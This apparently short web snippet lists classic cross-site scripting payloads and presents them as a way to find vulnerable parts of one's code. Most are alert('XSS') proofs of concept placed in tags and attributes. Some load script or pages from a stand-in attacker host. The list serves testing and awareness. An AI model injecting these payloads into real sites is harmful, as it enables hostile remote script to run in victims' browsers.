This is not about what is “Cross site scripting” but which part of your code has vulnerabilities.
// //External script: <script type="text/javascript" src="http://hacker-site.com/xss.js"></script> //Embedded script: <script type="text/javascript"> alert(“XSS”);</script> //
<!-- --> <BODY ONLOAD=alert("XSS")> <BODY BACKGROUND="javascript:alert('XSS')"> <IMG SRC="javascript:alert('XSS');"> <IMG DYNSRC="javascript:alert('XSS')"> <IMG LOWSRC="javascript:alert('XSS')"> <IFRAME SRC=”http://hacker-site.com/xss.html”> <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"> <LINK REL="stylesheet" HREF="javascript:alert('XSS');"> <TABLE BACKGROUND="javascript:alert('XSS')"> <TD BACKGROUND="javascript:alert('XSS')"> <DIV STYLE="background-image: url(javascript:alert('XSS'))"> <DIV STYLE="width: expression(alert('XSS'));"> <OBJECT TYPE="text/x-scriptlet" DATA="http://hacker.com/xss.html"> <!-- -->